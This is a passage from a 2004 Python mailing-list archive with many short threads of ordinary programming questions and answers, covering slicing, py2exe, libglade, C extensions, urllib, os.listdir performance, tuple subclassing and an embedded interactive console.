issue. -- Grant Edwards grante Yow! Let's send the at Russians defective visi.com lifestyle accessories! From lothar at hashmail.com Sun Sep 12 15:47:50 2004 From: lothar at hashmail.com (lothar) Date: Sun, 12 Sep 2004 19:47:50 -0000 Subject: traversing yahoogroups group messages Message-ID: <10k9a0nhcfai703@corp.supernews.com> i want to traverse a set of messages in a Yahoogroups group from a Python program. to get to the messages of the group, one must log in. this presents, i think, two problems, 1) handling the form element for the login, which has a javascript submit routine, 2) keeping login state with cookies. to someone who knows something about the issues here, my questions are: 1) is it possible to do this in Python? 2) if so, how do i handle the form and the javascript? 3) does Java Python have a javascript engine and do i need Java Python here? 4) if i need to use cookies, how do i know what to name and what to set into a cookie? for context, i include the form element below. the submit routine hash() is javascript.
Existing Yahoo! users
 Enter your ID and password to sign in 
Yahoo! ID:
Password:
Remember my ID on this computer
 
Mode: Standard | Secure
Sign-in help   Fo rgot your password?
From guettli at thomas-guettler.de Tue Sep 28 07:22:50 2004 From: guettli at thomas-guettler.de (Thomas Guettler) Date: Tue, 28 Sep 2004 13:22:50 +0200 Subject: os.system vs. Py2Exe References: <81a41dd.0409280200.1a74edd1@posting.google.com> Message-ID: Am Tue, 28 Sep 2004 03:00:23 -0700 schrieb Lad: > I used Py2exe to compile my script( I use XP). > The compiled script works OK on my XP where Python is installed. > But when I install the compiled exe to another computer, > > os.system > > causes the following error: > Bad file or command name Hi, What do you execute with os.system? If the script you execute startswith #!INTERPRETER you might have trouble. I don't think this is well supported under windows. Try this: os.system("INTERPRETER SCRIPT") Regards, Thomas From ksenia at ksenia.nl Sun Sep 26 09:20:46 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Sun, 26 Sep 2004 15:20:46 +0200 Subject: pyswf Message-ID: Hi, I came across this great project yesterday: http://www.quiss.org/swftools/ They have powerful tools for SWF generation, including librfxswf library, with recently added Python interface (pyswf). This page http://www.quiss.org/swftools/examples.html contains view examples of pyswf usage. Googling for python + swf doesn't return that one, hope this posting will help :) Ksenia. From claird at lairds.us Sun Sep 12 12:08:03 2004 From: claird at lairds.us (Cameron Laird) Date: Sun, 12 Sep 2004 16:08:03 GMT Subject: Lua versus C++ for embedded processor References: <45c5d645cae78c97a5caad9e821d5a5c@localhost.talkaboutprogramming.com> Message-ID: In article <45c5d645cae78c97a5caad9e821d5a5c at localhost.talkaboutprogramming.com>, ciw1973 wrote: >I'll be starting a new project using Rabbit modules (the new wonderfully >low cost, feature rich RCM3700) in a couple of weeks time. I'm quite happy >to code in Dynamic C and the new version is supposed to have improved a >good deal, but I do like the idea of using scripting languages where >possible for future maintainability and Lua would probably be about the >only option for a device like the Rabbit. If you port it to Dynamic C, >could you let me know? I'd be very interested. > >I took a look at Lua a while ago, and even bought the Lua book to allow me >to get a good feel for the language. It is actually very good, but at the >time I was looking at it as a replacement for Python, but for my >day-to-day, non-embedded work, the lack of additional libraries (compared >to Python) was an issue. > >It did strike me as being ideal for embedded work, primarily due to its >size, and deploying a product running software written in an interpreted >language allows quick and easy live remote updating of the software >itself. I've done this on devices based on embedded PC architecture >running Perl, but it always seemed too optimistic a goal on something like >the Rabbit Cores. > I don't know what could more encourage one to Lua's suitability for such uses than The Book, which you appear already to have read. Yes, Lua implementation is, from all my experience, an order of magnitude than the corresponding Perl effort. From __peter__ at web.de Wed Sep 22 11:12:11 2004 From: __peter__ at web.de (Peter Otten) Date: Wed, 22 Sep 2004 17:12:11 +0200 Subject: Python speed-up References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> Message-ID: Phil Frost wrote: > For the seccond part, try replacing > > encoded_text = encoded_text[8:] > > with > > del encoded_text[:8] Die you try it? >>> encoded_text = "thus quoth the raven" >>> del encoded_text[:8] Traceback (most recent call last): File "", line 1, in ? TypeError: object doesn't support slice deletion The immutability of strings slows down the OP's approach and makes your remedy impossible. Peter From csae1211 at uibk.ac.at Tue Sep 14 16:36:35 2004 From: csae1211 at uibk.ac.at (Poissonnier Julien) Date: Tue, 14 Sep 2004 22:36:35 +0200 Subject: glade In-Reply-To: References: <414579e1$1@sia.uibk.ac.at> <41457a1b$1@sia.uibk.ac.at> Message-ID: <41475653@sia.uibk.ac.at> p.kosina wrote: > I have installed all of it but I can not find anything how to translate > *.glade to python scripts. I do not need it urgently just interested. > I have found glc.py which makes some errors... > In fact I do not know how to handle libglade. > Probably some tutorial would help. > I use py2.3 under win2k. > Thanks > Pavel > The easiest way is to leave your GUI description as a glade file and use libglade to load it at runtime. A nice libglade tutorial can be found at http://www.linuxjournal.com/article.php?sid=6586 From mwh at python.net Fri Sep 17 08:43:56 2004 From: mwh at python.net (Michael Hudson) Date: Fri, 17 Sep 2004 12:43:56 GMT Subject: [implement python code in C] can't set attributes of built-in/extension type References: <20040917121443.GE46803@astral-on.net> Message-ID: Andrew Degtiariov writes: > Hello! > I tried to rewrite my python module in C. Are you targetting Python 2.2 or later? > My module is successfully imported but i can't assing anything to > class attributes (tp_setattr in PyTypeObject for class FlowReportRow > filled up by pointer to FlowReportRowObjectSetAttr function and > printf in ones show the function does not called) Where I was > mistaken? (you may see the module sources at > http://astral.ua/~ad/Report.c) Argh! You're making life very tedious for yourself... Do you know what you can do with the tp_members and tp_getsets field of the type object? I think a C macro expanding to a couple getset defintions would make your code more pleasant. I think implementing tp_getattro and not tp_getattr will solve your immediate problem. Cheers, mwh -- MAN: How can I tell that the past isn't a fiction designed to account for the discrepancy between my immediate physical sensations and my state of mind? -- The Hitch-Hikers Guide to the Galaxy, Episode 12 From gk_2345 at yahoo.com Wed Sep 8 19:26:37 2004 From: gk_2345 at yahoo.com (George Kinney) Date: Wed, 8 Sep 2004 19:26:37 -0400 Subject: lauch browser on remote windows mach from linux python? References: Message-ID: <10jv5b6bsj9mh7e@corp.supernews.com> wrote in message news:chkskn$ug4 at odbk17.prod.google.com... > I can imagine a tiny python daemon running on each PC, listening for a > connection on a particular port, and reading a URL from it. > Can it just call os.system('mozilla ...')? > Or do I have to do some .com or .net thing? > sure, you can do: os.startfile(someURL) or: os.system('start %s' % someURL) either one will invoke the configured URL handler. (browser or whatever) From tdelaney at avaya.com Tue Sep 7 17:36:58 2004 From: tdelaney at avaya.com (Delaney, Timothy C (Timothy)) Date: Wed, 8 Sep 2004 07:36:58 +1000 Subject: What about an EXPLICIT naming scheme for built-ins? Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE01EA61E3@au3010avexu1.global.avaya.com> Alex Martelli write: > into for and in WORDS when we stol^H^H^H^H borrowed Haskell's list ^^^^^^^^^^^^^^^^^^^^^ ... were inspired by ... ;) Tim Delaney From thinmanj at gmail.com Wed Sep 1 18:31:09 2004 From: thinmanj at gmail.com (=?ISO-8859-1?Q?Julio_O=F1a?=) Date: Wed, 1 Sep 2004 18:31:09 -0400 Subject: negative stride list slices In-Reply-To: References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> <9LOdnaw-DsKUoavcRVn-vg@powergate.ca> Message-ID: <318a5f1a04090115314c0368d6@mail.gmail.com> On Wed, 01 Sep 2004 18:05:22 -0400, Peter Hansen wrote: > > Uh, yeah. Okay. So let's say that part was obvious. Now > please explain *which* elements are being listed in reverse > order, referring to the index value -3 and the elided > index value. Presumably one of those refers to the beginning > or end of the list, while the other one refers to something > that is referenced as "-3". Can you point to a diagram or > description in the documentation or tutorial which actually > explains this? Or can you (or anyone) explain it in your > own words? Or is everyone who thinks this makes sense just > pretending to actually understand it? > Sorry Peter to be to lassy. Well in the case [:-3:-1] I think this is what is happening - revers the list - this left with [0:2] (remember [-3:] returns 2 characters only in the case [-1:-2:-1] - revers the string 'Apleh' - this left with [:1] (this is tricky but -1 is equivalent to 0 as -2 is to 1, remember you are counting backwards from the end) The problem is the mening of -1 when reversing the list. The slice is closed in the lower side and open in the upper one. When reversing the list the lower end is open and no close as with positive step. Any comments? -- Julio From jerf at jerf.org Thu Sep 16 22:28:02 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Fri, 17 Sep 2004 02:28:02 GMT Subject: classes and standard modules References: Message-ID: On Thu, 16 Sep 2004 21:47:52 -0400, Brad Tilley wrote: > Anyway, because I don't understand classes well, I avoid using them. > However, many modules in the standard library are implemented as > classes: sgmllib, HTMLParser, etc. Is it possible to use these modules > without getting into OO programming and inheritance and all the other > lofty, theoretical CS concepts that small script writers, like me, don't > really need? Yes. Without further information it is hard to add anything to the examples that accompany the various libraries. A couple people may jump in here to describe classes again; I'm going to instead suggest just using Python for a while and taking a crack at it again later when you've used more Python. For some pragmatically-minded types of people, it is much easier to describe how classes work when we have something concrete to point at. Later on, post some code you're wondering about and ask questions (as specific as possible) and we'll be happy to help. From mesteve_b at hotmail.com Sun Sep 26 02:30:46 2004 From: mesteve_b at hotmail.com (python newbie) Date: Sun, 26 Sep 2004 06:30:46 GMT Subject: Please Hlp with msg: "The C++ part of the StaticText object has been deleted" References: <3it5d.3229$nj.2390@newssvr13.news.prodigy.com> Message-ID: Sorry about the two extra posts. Using Outlook Expr ( which told me it didn't send it the first 2 times, though it did) From jf.davis at ngc.com Mon Sep 20 11:25:53 2004 From: jf.davis at ngc.com (kingjames) Date: Mon, 20 Sep 2004 10:25:53 -0500 Subject: unsigned long to float. Message-ID: I have a c30 to ieee float converter algorithm that takes binary data from a c30, does some bit munipulation and stores the answer (i'm using unsigned longs for the processing). When I come up with the answer, if I was in C or Fortran, I could use either a union or equivalence to see the number in floating point rather than the representation in unsigned long. I have found no equivalence in python of union or equvalence. I could take the unsigned long, write it to a binary file and read it back in as a float. This would work, accept I do not want the overhead of io. What can I do to see this unsigned long as a float? Thanks From FBatista at uniFON.com.ar Mon Sep 13 14:04:37 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Mon, 13 Sep 2004 15:04:37 -0300 Subject: Small inconsistency between string.split and "".split Message-ID: [Erik Heneryd] #- 2) You can get the same behavior from str.split() by using #- None as the #- separator (undocumented, I guess). Worst: it's explicitly in other way: split([sep [,maxsplit]]) There, taken from the docs, say that "It's optional to include sep, and if you include sep, you could also (optionally) include maxsplit". . Facundo From fredrik at pythonware.com Tue Sep 21 04:01:50 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 21 Sep 2004 10:01:50 +0200 Subject: bad data from urllib when run from MS .bat file References: <414cb56d$0$58900$75868355@news.frii.net><87acvmxayq.fsf@pobox.com><414e40a1$0$58900$75868355@news.frii.net> <87zn3kzo7s.fsf@pobox.com> Message-ID: John J. Lee wrote: > But I have a fairly strong suspicion that this *isn't* a bug in urllib > or Python: I think urllib regards HTTP response data simply as a > binary string that's correct. the bug is most likely elsewhere; probably in the interaction between print and cmd redirection, or perhaps in the interaction between cmd and sys.argv. to test it, get rid of all the junk you can get rid of: that is, embed the URL in the test script, and write output to a binary file, and use a hexdump tool to look at the file (use "debug" if you don't have any better tool). From santoshamb at yahoo.com Fri Sep 3 13:34:38 2004 From: santoshamb at yahoo.com (ben) Date: 3 Sep 2004 10:34:38 -0700 Subject: get https page References: Message-ID: <56d498d9.0409030934.43a1952e@posting.google.com> "Jonathan Ellis" wrote in message news:... > >>> import urllib > >>> r = > urllib.urlopen("https://www.schedulesource.com/teamwork/logon/") > >>> r.read() > '\r\n > -Jonathan Thanks for the answer Jonathan. The solution I found was a bit different. I'm going to post it when I get home, for future reference. Ben From alf at merlin.fayauffre.org Wed Sep 22 08:22:50 2004 From: alf at merlin.fayauffre.org (Alexandre Fayolle) Date: Wed, 22 Sep 2004 12:22:50 +0000 (UTC) Subject: Floating-point glitches with the math module. Bug? Or am I missing something? References: Message-ID: Le 20-09-2004, Chris nous disait: > import math > > x = 0.90455926850657064620 > y = 0.90463240818925083619 > z = -2.00200807043415807129e-08 > > > cos_gamma1 = math.cos(x - y) - math.sin(x)*math.sin(y)*(1.0 - math.cos(z)) > gamma1 = math.acos(cos_gamma1) Here's my attempt. Firstly, I use the fact that scipy provides a cosm1 function which returns cos(x)-1, and which is more precise that for small values of x. >>> from scipy import special as S >>> cos_gamma_minus_1 = S.cosm1(x-y) - S.sin(x)*S.sin-y)*S.cosm1(z) >>> print cos_gamma_minus_1 -2.67470646622e-09 Then I'd like to use an acosm1 function in order to keep the precision. Since there is no such function available, I'll just solve cosm1(x)-cos_gamma_minus_1=0 for which I know there is a solution between 0 and 1. Any solver will do the trick. To keep things simple, I'll use scipy.optimize.zeros.bisect (not the fastest around, but does a good job) >>> from scipy.optimize import zeros >>> gamma = zeros.bisect(lambda x: S.cosm1(x)-cos_gamma1_minus1, ... 0., 1., 1e-20) >>> print gamma 7.31396809867e-05 -- Alexandre Fayolle LOGILAB, Paris (France). http://www.logilab.com http://www.logilab.fr http://www.logilab.org From zathras at thwackety.com Tue Sep 7 05:42:35 2004 From: zathras at thwackety.com (Michael Sparks) Date: Tue, 7 Sep 2004 10:42:35 +0100 (BST) Subject: Anyone know anything named DX? (was Re: Announcing PyCs) (was: Announcing PyCs, a new Python-like language on .Net) In-Reply-To: Message-ID: On Mon, 6 Sep 2004, Mark Hahn wrote: ... > Does anyone know of any conflicts for DX? Any existing software projects? > Any languages? I know all about all the ham radio stuff but I assume that > is a non-issue. Google came back with this pretty fast: * http://researchweb.watson.ibm.com/dx/ (aside from lots of others...) Also, DX appears to be used by lots of things (especially protocols, formats, software, hardware) as a suffix and a prefix. Which kinda makes the equivalent to (say) pympeg difficult, since (for example) mpeg-dx already exists. And if you change to DX -radio download as search terms, the number one result is for Direct X. Doing a play on words, I also quickly found "DynaXML" - from http://www.amg.net.pl/ . That's just from 5 minutes looking - there's so many clashes with other things you'll either view that as good or bad (much as "python" clashes with lots of things). > Well, I gave up on coming up with a good name A different approach is to come up with a name and misspell it deliberately using something vaguely valid. eg change "ee" to "ae" or "ea" (etc), change a leading "s" to a leading "c" (or a soft leading "c" to an "s", change "mm" to "m" or "m" to "mm", etc. If you do things as a light enough touch it's clear that the misspelling is deliberate (eg cerendipity) but generally reduces the likelyhood of it already being used. You could even pick a name, and rather than spell it with an "z", spell the name with a "s"... Michael. From peter at engcorp.com Wed Sep 15 13:27:47 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 13:27:47 -0400 Subject: See exactly what a function has returned In-Reply-To: References: Message-ID: Brad Tilley wrote: > Is there an easier way to do this: > > def print_whats_returned(function): > print function > print type(function) What is "this"? The subject line and the name of the function imply it is something to do with the return values of a function, yet the function is never called. While Python is sometimes called executable pseudo-code, I think in this case you'd be better off using plain English to describe what your goal is. -Peter From sjdevnull at yahoo.com Tue Sep 14 17:56:56 2004 From: sjdevnull at yahoo.com (G. S. Hayes) Date: 14 Sep 2004 14:56:56 -0700 Subject: Ranting about the state of Python IDEs for Windows References: <864d3709040913131077f1732d@mail.gmail.com> Message-ID: <96c2e938.0409141356.3a689f@posting.google.com> Carlos Ribeiro wrote in message news:... > Now that I'm ranting, I have some ideas to solve this problem. My > dream is to have a different approach for the window manager -- one > that not only saves sessions, but is able to manage sessions in a more > effective way. I would like to have a code editing session, and a > test-run session, with different layouts (may be with the same tools). > Everything would be automatically updated upon session switching. A > button on my taskbar would have me editing my code; clicking on other > button, and the windows would be automatically repositioned, resized, > minimized, or reopened, to start the test run. Some window managers for Unix/X11 will allow you to group windows together and move/minimize/maximize/etc the windows as a group. It's really nice for situations like this. Virtual desktops can be useful for organization as well. Maybe you could ask in comp.os.ms-windows (or a subgroup thereof) if anyone knows of similar software for your platform; I know that back in the days when I had to use windows on the desktop I was able to find software that gave me virtual desktops, focus follows mouse, and several other UI features I missed from Unix. From abkhd at earth.co.jp Thu Sep 16 19:20:56 2004 From: abkhd at earth.co.jp (A. B., Khalid) Date: 16 Sep 2004 16:20:56 -0700 Subject: Success Natively Compiling Python-2.3.4 in Mingw? References: Message-ID: <8ad8ad0a.0409161520.394e29b5@posting.google.com> "Fernando Libonati" wrote in message news:... > Hello, after read your message I put hands on work and try to get > python2.3.4 sources compiled with DevC++4.9.9 and I've failed. > > Could you explain a bit more especifically how to get the .dsp / .dsw files > into work? > > Regards, Fernando Hello Fernando, Well, check out the pyMinGW patch here: http://jove.prohosting.com/iwave/ipython/pyMinGW.html It has the make files and the patches to Python source needed to get Python compiled under MinGW. I have removed the ".dev" project files to make the download smaller and hence, I think, streamlined the whole build process to make it easier. Now it is all make files. The update you will see is not the same one I got my own private copy of the MinGW compiled Python back in June compiled with. At any rate the point is that the current public pyMinGW patch is not yet 100% complete. But since the last update, however, some good progress was made and I think very shortly, God willing, there will be a very good and working pyMinGW patch for Python 2.4a3, and Python 2.3 Final. If you cannot wait, then download the current pyMinGW and see what happens. Regards Khalid -- Q. The purpose of life? [A]: "I created the jinn and humankind only that they might worship Me." (Translation, Qur'an, 51:56) [B]: "Let us hear the conclusion of the whole matter: Fear God, and keep his commandments: for this is the whole duty of man." (KJV, Ecclesiastes 12:13) From darren at coolpink.net Tue Sep 28 22:06:50 2004 From: darren at coolpink.net (darren at coolpink.net) Date: 29 Sep 2004 02:06:50 -0000 Subject: ANN: Nevow 0.3 released Message-ID: <20040929020650.4919.qmail@ws2.coolpink.net> Sorry, but I am out of the office on Monday 27th September until Monday 11th October 2004. I will respond to your e-mail when I return If you need technical support please contact simonh at coolpink.net or mazen at coolpink.net For any other enquiries please call the office on (0113) 272 3191 Thanks for your e-mail. From nick at craig-wood.com Tue Sep 28 05:30:00 2004 From: nick at craig-wood.com (Nick Craig-Wood) Date: 28 Sep 2004 09:30:00 GMT Subject: Optimizing tips for os.listdir References: Message-ID: Bengt Richter wrote: > On 27 Sep 2004 14:30:18 GMT, Nick Craig-Wood wrote: > > You ought to be able to gain a little by hoisting the os.path.xxx > attribute lookups for join and isdir out of the loop. E.g, (not tested) > > opj=os.path.join; oisd=os.path.isdir > [opj(path, p) for p in os.listdir(path) if oisd(opj(path, p))] > > But it seems like you are asking the os to chase through full paths at > every isdir operation, rather than just telling it to make its current working > directory the directory you are interested in and doing it there. E.g., (untested) > > savedir = os.getcwd() > os.chdir(path) > dirs = [opj(path, p) for p in os.listdir('.') if oisd(p)] > os.chdir(savedir) with 1000 files in the directory # 1) Original using '.' /usr/lib/python2.3/timeit.py -s 'import os; path="."' \ '[os.path.join(path, p) for p in os.listdir(path) if os.path.isdir(os.path.join(path, p))]' 10 loops, best of 3: 2.69e+04 usec per loop # 2) Original with long path /usr/lib/python2.3/timeit.py -s 'import os; path="/tmp/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z"' \ '[os.path.join(path, p) for p in os.listdir(path) if os.path.isdir(os.path.join(path, p))]' 10 loops, best of 3: 4.16e+04 usec per loop # 3) Using cwd /usr/lib/python2.3/timeit.py -s 'import os' \ '[os.path.join(path, p) for p in os.listdir(".") if os.path.isdir(p)]' 100 loops, best of 3: 1.85e+04 usec per loop > > The above timings ignore the effect of caching - will the directory > > you are enumerating be hot in the cache? > Even if so, I doubt the os finds it via a hash of the full path instead > of checking that every element of the path exists and is a subdirectory. > IWT that could be a dangerous short cut It is. Linux will look through each path entry. However they will be hot in the dcache. It doesn't take much time hence the relatively small difference between 1) and 2). I expect the main difference between 1) and 3) is the fact it contains one less os.path.join() /usr/lib/python2.3/timeit.py -s 'import os;' 'os.path.join("a", "b")' 100000 loops, best of 3: 7.34 usec per loop Its executed 1000 times above which is 7340 usec. The difference between 1) and 3) is 8400 usec - pretty close! -- Nick Craig-Wood -- http://www.craig-wood.com/nick From fuzzyman at gmail.com Wed Sep 15 08:04:01 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 15 Sep 2004 05:04:01 -0700 Subject: Python Oddity - print a reserved name Message-ID: <6f402501.0409150404.75292b5a@posting.google.com> Here's a little oddity with 'print' being a reserved word... >>> class thing: pass >>> something = thing() >>> something.print = 3 SyntaxError: invalid syntax >>> print something.__dict__ {} >>> something.__dict__['print'] = 3 >>> print something.__dict__ {'print': 3} >>> print something.print SyntaxError: invalid syntax >>> See that I can't set the something.print attribute directly, but can set it indirectly. Is this behaviour 'necessary' or just an anomaly of the way IDLE detects Syntax Errors ? Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From abra9823 at mail.usyd.edu.au Sun Sep 26 10:29:50 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Mon, 27 Sep 2004 00:29:50 +1000 Subject: ImportError: DLL load failed Message-ID: <1096208990.4156d25e7bd2d@www-mail.usyd.edu.au> hi! I wrote a simple C code to work with OpenSSL and it builds fine. however when i import it, i get an error ImportError: DLL load failed. The specified module could not be found. the file is in Python/Lib directory. the code is below. thanks #include #include "openssl/bio.h" #include "openssl/ssl.h" #include "openssl/err.h" static PyObject * start(PyObject *self, PyObject *args) { int x; BIO * bio; char buf[1024]; int len = 512; SSL_load_error_strings(); ERR_load_BIO_strings(); OpenSSL_add_all_algorithms(); bio = BIO_new_connect("www.ibm.com:80"); if(bio==NULL) { //handle error x = -5; } if(BIO_do_connect(bio) <= 0) { //handle failed connection x = -4; } x = BIO_read(bio, buf, len); if(x == 0) { //handle closed connection x = -3; } else if(x<0) { if(! BIO_should_retry(bio)) { //handle failed read x = -2; } //do something to handle the retry } return Py_BuildValue("i", x); } static PyMethodDef testSSLMethods[] = { {"start", start, METH_VARARGS, "start and test SSL."}, {NULL, NULL, 0, NULL} }; PyMODINIT_FUNC inittestSSL(void) { (void) Py_InitModule("testSSL", testSSLMethods); } ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From NOmanlio_perilloSPAM at libero.it Sat Sep 25 07:21:21 2004 From: NOmanlio_perilloSPAM at libero.it (Manlio Perillo) Date: Sat, 25 Sep 2004 11:21:21 GMT Subject: getrecursiondepth Message-ID: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com> Why the sys module does not have a function like getrecursiondepth? It is very easy to implement: #include "Python.h" static PyObject * getrecursiondepth(PyObject *self, PyObject *args) { PyThreadState *tstate; if (!PyArg_ParseTuple(args, ":recursion_depth")) return NULL; tstate = PyThreadState_GET(); return Py_BuildValue("i", tstate->recursion_depth); } Thanks and regards Manlio Perillo From nobody at nowhere.com Mon Sep 27 17:10:18 2004 From: nobody at nowhere.com (Yannick Turgeon) Date: Mon, 27 Sep 2004 17:10:18 -0400 Subject: SimpleXMLRPCServer Message-ID: I plan to use XML-RPC to communicate between my python server and VB client. I just called a simple registered function (lambda x,y: x+y) and it worked. But I'm new to XML-RPC and I'm now wondering why this class is called "Simple". What are its limitations? I want to know if I can count on it for my project or if I would need a not-so-simple XML-RPC server. Yannick From gaool at caramail.com Wed Sep 15 06:59:28 2004 From: gaool at caramail.com (gaool at caramail.com) Date: Wed, 15 Sep 2004 10:59:28 GMT Subject: Problem with Python on SunOS system Message-ID: <1095245968001281@lycos-europe.com> An HTML attachment was scrubbed... URL: From piet at cs.uu.nl Fri Sep 24 07:37:55 2004 From: piet at cs.uu.nl (Piet van Oostrum) Date: Fri, 24 Sep 2004 13:37:55 +0200 Subject: up with PyGUI! References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> Message-ID: >>>>> Greg Ewing (GE) wrote: GE> For a while now I've been wondering whether Python could GE> benefit from an "instance" statement that works similarly GE> to a class statement but creates instances instead of GE> classes. GE> e.g. GE> class MainFrame(FrameDescription): GE> instance b1(ButtonDescription): GE> size = (40, 40) GE> text = "b1" How would this be different from: b1 = ButtonDescription(): b1.size = (40, 40) b1.text = "b1" or from this: def instance(klass, **kw): inst = klass() for k in kw: # could add a check for __getattr__ here inst.__dict__[k] = kw[k] return inst b1 = instance(ButtonDescription, size = (40,40), text = "b1") -- Piet van Oostrum URL: http://www.cs.uu.nl/~piet [PGP] Private email: P.van.Oostrum at hccnet.nl From aleaxit at yahoo.com Sun Sep 5 16:53:55 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 5 Sep 2004 22:53:55 +0200 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> Message-ID: <1gjnwg3.5feg9dzs0534N%aleaxit@yahoo.com> Donn Cave wrote: > Quoth aleaxit at yahoo.com (Alex Martelli): > | Donn Cave wrote: > | ... > |> On the other hand, we normally use tuples for data that > |> is meaningful only when it's intact. The (key, value) > | > | So by this argument len(t) should not work if t is a tuple... > > I expect it's used relatively infrequently, and for different > reasons. "if len(info) == 5", for example - just from that > line from a relatively popular Python application, would you > guess info is a list, or a tuple? No idea -- could just as well be a dict, an array.array, whatever. That's the very point and the beauty of polymorphism - I don't CARE what kind of container 'info' is, I know by this snippet that we're testing if it has exactly 5 items, or not. > | Even for a pair I sometimes like to know if 42 is the key, the value, > | or neither. index is handy for that... but not if the pair is a tuple, > | only if it's a list. Rationalize as you will, it's still a Python wart. > > Maybe the problem is that tuples have too many features already. > It's sort of silly that they're indexed by number, and if that > weren't allowed, we would find fewer people trying to make lists > of them. Hmmm, how would you access a specific item (since tuples currently don't support item access by name) if not by indexing? > | Pseudotuples with NAMED (as well as indexed) arguments, as modules stat > | and time now return, may be a different issue. Not sure why we never > | made declaring such pseudotuples as usertypes as easy as it should be, a > | custom metaclass in some stdlib module shd be enough. But tuples whose > | items can't be named, just indexed or sliced, just are not a good fit > | for the kind of use case you and Guido use to justify tuple's lack of > | methods, IMHO. > > There you go, they shouldn't be indexed or sliced, that's right! > Named attributes would be nice, but otherwise you use pattern > matching (to the extent support in Python -- key, value = item.) > Makes for more readable code. Not for sufficiently long tuples. Take the 9-item tuples that the time module used to use before they grew names: having to unpack the tuple to access a single item of it would be exceedingly tedious and heavily boilerplatey to boot. Besides, I _do_ need to have immutable sequences that are suitable as dict keys. Today, x=tuple(mylist) performs that role admirably. So, say I have a dict d, indexed by such tuples -- of different lengths -- and I want all the keys into d that have 23 as their first item. Today this is a trivial task -- but if I couldn't index tuples I WOULD have a problem... basically I would need "frozen lists" (and "frozen dicts" where I today use tuple(d.iteritems())...). Today, tuples serve all of these roles -- poor man's structs (lacking names), immutable 'frozen' lists for dict-keying roles, etc. We need at least two new builtin types to take their place if we want to remove tuple indexing... Alex From tim.peters at gmail.com Thu Sep 9 11:14:35 2004 From: tim.peters at gmail.com (Tim Peters) Date: Thu, 9 Sep 2004 11:14:35 -0400 Subject: possible bug in inheritence from tuple In-Reply-To: <20040909145103.26119.qmail@web41111.mail.yahoo.com> References: <20040909145103.26119.qmail@web41111.mail.yahoo.com> Message-ID: <1f7befae04090908143a474701@mail.gmail.com> [Joachim Boomberschloss] > The following code should in my opinion have ended with (1,2,3,4). Nope. > It works fine when inheriting from list. Yup. > Is this a bug in python? Nope. > >>> class Test(tuple): > ... def __init__(self): > ... tuple.__init__(self, (1,2,3,4)) > ... > >>> t = Test() > >>> t > () Lists are mutable, tuples are immutable. By the time __init__ is called, it's too late to set the value of a tuple -- self already exists (and is immutable -- you no longer change its value). To initialize an immutable value, you have to override __new__, which, in effect, *creates* self. This was covered in more detail here within the last few weeks, but (sorry!) I don't have time to search for it now. From jcarter at engr.sgi.com Fri Sep 17 19:33:38 2004 From: jcarter at engr.sgi.com (Jack Carter) Date: Fri, 17 Sep 2004 16:33:38 -0700 Subject: namespace/dictionary quandry Message-ID: <414B7452.3BB1AB61@engr.sgi.com> I have been delegated to produce a tool that has python embedded in it. The desire is to have a command line interface that inherits all the python scripting functionality so people can use the tool either with a flat commandline entry like you would a debugger or with a script using scoping, loops and conditional. I am going from knowing nothing about python to almost nothing so the learning curve is rather steep at this point. I have a dummy program that inherits code.InteractiveConsole functionality. I can grab each input line and scan it for commands that match my tool's syntax ("attach") and if it does, I change the line to reflect a python legal function call associated with that commond (DoAttach) and from there do what I want with the line. The actual input lines are executed with a self.push() call. The problem I have is in timely symbol resolution. I really want to run eval() on each of the arguments at the time the DoAttach() function is executed, but don't know how and where from does one get the dictionary with the proper name space. If I run eval at the time of initial reading of the input it works for flat first level input, but not for nested scoping: cli.py bosco=5 if 1: attach bosco bosco=7 attach bosco attach bosco This will result in: >>> bosco=5 >>> if 1: ... attach bosco ... bosco=7 ... attach bosco ... DoAttach: ['5'] DoAttach: ['5'] <--- WRONG (at least, not what I want) >>> attach bosco DoAttach: ['7'] How does one export the correct dictionary? Attached is the toy program that creates this output. Keep in mind that I am probably aproaching this all wrong. Any relevant suggestions would be most appreciated, Jack ***************** File cli.py: ***************** #!/usr/bin/env python import myparse cli = myparse.CLI(globals()) cli.interact() ***************** File myparse.py: ***************** import code import re import string import sys def DoAttach(args): print "DoAttach:", args pass class CLI(code.InteractiveConsole): """Simple test of a Python interpreter augmented with custom commands.""" commands = { \ "attach" : "DoAttach" } def __init__(self, locals = None): # Call super-class initializer code.InteractiveConsole.__init__(self, locals, "") # Compile regular expression for finding commmands self.regexp = re.compile('[a-z]*') def interact(self): my_dictionary = self.locals # Set the primary and secondary prompts sys.ps1 = ">>> " sys.ps2 = "... " # Input Loop is_more = 0 bosco = 0 while 1: try : # Display the appropriate prompt if not sys.stdin.isatty(): prompt = "" elif is_more: prompt = sys.ps2 else: prompt = sys.ps1 # Read the next line of input #self.write("interact 1\n") line = self.raw_input(prompt) # TODO: add logging of input line here... # Process complete lines if 1: line = self.process(line) # Push incomplete lines onto input stack if line or is_more: is_more = self.push(line) # Handle CTRL-C except KeyboardInterrupt: self.write("\nKeyboardInterrupt\n") is_more = 0 self.resetbuffer() # Handle CTRL-D except EOFError: self.write("\n") is_more = 0 self.resetbuffer() raise SystemExit def process(parent, line): # Attempt to match 